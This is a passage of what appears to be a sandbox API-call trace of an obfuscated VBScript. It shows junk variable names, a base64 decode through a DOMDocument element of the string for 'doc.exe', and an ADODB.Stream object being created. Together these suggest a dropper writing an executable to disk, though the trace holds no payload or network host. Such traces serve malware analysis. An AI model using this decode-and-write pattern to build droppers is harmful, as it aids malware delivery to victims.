[1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15361c | out: ppvObject=0x15361c*=0x0) returned 0x80004002 [0088.921] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535d4 | out: ppvObject=0x1535d4*=0x83fd368) returned 0x0 [0088.921] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1535d0 | out: ppvObject=0x1535d0*=0x83fd378) returned 0x0 [0088.921] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x15361c | out: ppvObject=0x15361c*=0x0) returned 0x80004002 [0088.921] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.921] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.922] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0088.922] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535d4 | out: ppvObject=0x1535d4*=0x83fd368) returned 0x0 [0088.922] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1535d0 | out: ppvObject=0x1535d0*=0x83fd378) returned 0x0 [0088.922] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0088.922] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.922] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.922] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0088.922] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1535d4 | out: ppvObject=0x1535d4*=0x83fd368) returned 0x0 [0088.922] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1535d0 | out: ppvObject=0x1535d0*=0x83fd378) returned 0x0 [0088.922] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153610 | out: ppvObject=0x153610*=0x0) returned 0x80004002 [0088.922] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.922] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.922] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x3 [0088.922] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0088.922] DOMDocument:IUnknown:QueryInterface (in: This=0x1112b18, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1546ac | out: ppvObject=0x1546ac*=0x1112b18) returned 0x0 [0088.922] DOMDocument:IServiceProvider:QueryService (in: This=0x1112b18, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1546b0 | out: ppvObject=0x1546b0*=0x0) returned 0x80004002 [0088.922] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154680 | out: ppvObject=0x154680*=0x83fd368) returned 0x0 [0088.922] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15467c | out: ppvObject=0x15467c*=0x83fd378) returned 0x0 [0088.922] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1546b0 | out: ppvObject=0x1546b0*=0x0) returned 0x80004002 [0088.923] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.923] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.923] DOMDocument:IUnknown:Release (This=0x1112b18) returned 0x2 [0088.923] DOMDocument:IUnknown:Release (This=0x555214) returned 0x1 [0088.923] DOMDocument:IUnknown:QueryInterface (in: This=0x5551e8, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154740 | out: ppvObject=0x154740*=0x5545c0) returned 0x0 [0088.923] DOMDocument:IUnknown:AddRef (This=0x5545c0) returned 0x2 [0088.923] DOMDocument:IUnknown:Release (This=0x5545c0) returned 0x1 [0088.923] DOMDocument:IUnknown:Release (This=0x5551e8) returned 0x2 [0088.923] DOMDocument:IUnknown:QueryInterface (in: This=0x5545c0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x5545f4) returned 0x0 [0088.923] DOMDocument:IDispatchEx:GetDispId (in: This=0x5545f4, bstrName="CreateElement", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=41) returned 0x0 [0088.923] DOMDocument:IUnknown:Release (This=0x5545f4) returned 0x1 [0088.923] DOMDocument:IUnknown:AddRef (This=0x5545c0) returned 0x2 [0088.923] DOMDocument:IUnknown:QueryInterface (in: This=0x5545c0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x5545f4) returned 0x0 [0088.924] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5545f4, id=41, lcid=0x409, wFlags=0x3, pdp=0x1547fc*(rgvarg=([0]=0x83d66f8*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154910, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=([0]=0x83d66f8*(varType=0x8, wReserved1=0x15, wReserved2=0x6748, wReserved3=0x83d, varVal1="aux", varVal2=0x8791454)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154910*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x554700, varVal2=0x0), pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.924] DOMDocument:IUnknown:Release (This=0x5545f4) returned 0x2 [0088.924] DOMDocument:IUnknown:Release (This=0x5545c0) returned 0x1 [0088.924] DOMDocument:IUnknown:QueryInterface (in: This=0x554700, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154720 | out: ppvObject=0x154720*=0x5546e0) returned 0x0 [0088.924] DOMDocument:IUnknown:Release (This=0x554700) returned 0x1 [0088.924] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.924] DOMDocument:IUnknown:Release (This=0x1112bf0) returned 0x0 [0088.924] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0088.925] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.925] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.925] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.925] GetCurrentThreadId () returned 0xd44 [0088.925] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.925] ??2@YAPAXI@Z () returned 0x86bff10 [0088.925] malloc (_Size=0x804) returned 0x83fc220 [0088.925] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0088.925] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0088.925] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.925] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x5546e0) returned 0x0 [0088.926] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="DataType", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=26) returned 0x0 [0088.926] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.926] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0088.926] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x5546e0) returned 0x0 [0088.926] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=26, lcid=0x409, wFlags=0x4, pdp=0x1547fc*(rgvarg=([0]=0x154738*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x1547f8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=([0]=0x154738*(varType=0x8, wReserved1=0x15, wReserved2=0x4a54, wReserved3=0x15, varVal1="bin.base64", varVal2=0x154a3c)), rgdispidNamedArgs=([0]=0x1547f8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.926] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0088.926] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.927] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.927] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartyzx", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.927] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartyzx", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.927] GetCurrentThreadId () returned 0xd44 [0088.927] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.927] malloc (_Size=0x404) returned 0x11c29f0 [0088.927] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.927] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vartx", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.927] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vartx", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.927] GetCurrentThreadId () returned 0xd44 [0088.927] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.928] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.928] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.928] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="rey45r3t3e3yhju", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.928] GetCurrentThreadId () returned 0xd44 [0088.928] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.928] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a50 | out: ppvObject=0x154a50*=0x11977a8) returned 0x0 [0088.929] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x154a6c | out: pid=0x154a6c*=1395400) returned 0x80020006 [0088.929] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="biehigw3r8r38uh", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=-1) returned 0x80020006 [0088.929] GetCurrentThreadId () returned 0xd44 [0088.929] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.929] ??2@YAPAXI@Z () returned 0x86bff10 [0088.929] malloc (_Size=0x804) returned 0x83fc220 [0088.929] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0088.929] _wcsicmp (_String1="cvwtr5ycbve", _String2="age64Dicode") returned 2 [0088.929] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0088.929] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154828 | out: ppvObject=0x154828*=0x5546e0) returned 0x0 [0088.929] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="Text", grfdex=0x8, pid=0x154844 | out: pid=0x154844*=24) returned 0x0 [0088.930] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.930] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0088.930] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154830 | out: ppvObject=0x154830*=0x5546e0) returned 0x0 [0088.930] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=24, lcid=0x409, wFlags=0x4, pdp=0x1547fc*(rgvarg=([0]=0x154738*(varType=0x8, wReserved1=0x15, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="ZG9jLmV4ZQ==", varVal2=0x154d40)), rgdispidNamedArgs=([0]=0x1547f8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1547d8, pspCaller=0x846d2a8 | out: pdp=0x1547fc*(rgvarg=([0]=0x154738*(varType=0x8, wReserved1=0x15, wReserved2=0x6fa8, wReserved3=0x83d, varVal1="ZG9jLmV4ZQ==", varVal2=0x154d40)), rgdispidNamedArgs=([0]=0x1547f8*=-3), cArgs=0x1, cNamedArgs=0x1), pVarRes=0x0, pei=0x1547d8*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.930] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0088.930] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.930] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154b14 | out: ppvObject=0x154b14*=0x5546e0) returned 0x0 [0088.931] DOMDocument:IDispatchEx:GetDispId (in: This=0x5546e0, bstrName="NodeTypedValue", grfdex=0x8, pid=0x154b30 | out: pid=0x154b30*=25) returned 0x0 [0088.931] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.931] DOMDocument:IUnknown:AddRef (This=0x5546e0) returned 0x2 [0088.931] DOMDocument:IUnknown:QueryInterface (in: This=0x5546e0, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154b1c | out: ppvObject=0x154b1c*=0x5546e0) returned 0x0 [0088.931] DOMDocument:IDispatchEx:InvokeEx (in: This=0x5546e0, id=25, lcid=0x409, wFlags=0x3, pdp=0x154ae8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6738, pei=0x154ac4, pspCaller=0x846d2a8 | out: pdp=0x154ae8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x83d6738*(varType=0x2011, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6b07918*(cDims=0x1, fFeatures=0x80, cbElements=0x1, cLocks=0x0, pvData=0x6b93230*, rgsabound=((cElements=0x7, lLbound=0))), varVal2=0x0), pei=0x154ac4*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0088.931] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x2 [0088.931] DOMDocument:IUnknown:Release (This=0x5546e0) returned 0x1 [0088.931] IUnknown:AddRef (This=0x11977a8) returned 0x7 [0088.931] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.932] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.932] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lfkfdiooie", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.932] GetCurrentThreadId () returned 0xd44 [0088.932] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.932] ??2@YAPAXI@Z () returned 0x11c2068 [0088.932] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 5 [0088.932] LCMapStringW (in: Locale=0x409, dwMapFlags=0x100, lpSrcStr="utf-8", cchSrc=5, lpDestStr=0x6d03ec4, cchDest=5 | out: lpDestStr="utf-8") returned 5 [0088.932] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.932] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="vgct783hth", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.932] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="vgct783hth", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.932] GetCurrentThreadId () returned 0xd44 [0088.933] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.933] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.933] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="piiing", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.933] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="piiing", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.933] GetCurrentThreadId () returned 0xd44 [0088.933] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.933] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.933] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.933] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ldiwuywfj", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.933] GetCurrentThreadId () returned 0xd44 [0088.933] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.934] malloc (_Size=0x204) returned 0x84750c8 [0088.934] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15480c | out: ppvObject=0x15480c*=0x11977a8) returned 0x0 [0088.934] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154828 | out: pid=0x154828*=1394820) returned 0x80020006 [0088.934] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="lsvosfouwoupwiot", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=-1) returned 0x80020006 [0088.934] GetCurrentThreadId () returned 0xd44 [0088.934] IUnknown:Release (This=0x11977a8) returned 0x7 [0088.934] ??2@YAPAXI@Z () returned 0x86bff10 [0088.934] malloc (_Size=0x804) returned 0x83fc220 [0088.935] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0088.935] _wcsicmp (_String1="aaax", _String2="BytesToStr") returned -1 [0088.935] CLSIDFromProgIDEx (in: lpszProgID="ADODB.Stream", lpclsid=0x154554 | out: lpclsid=0x154554*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0088.935] SysStringLen 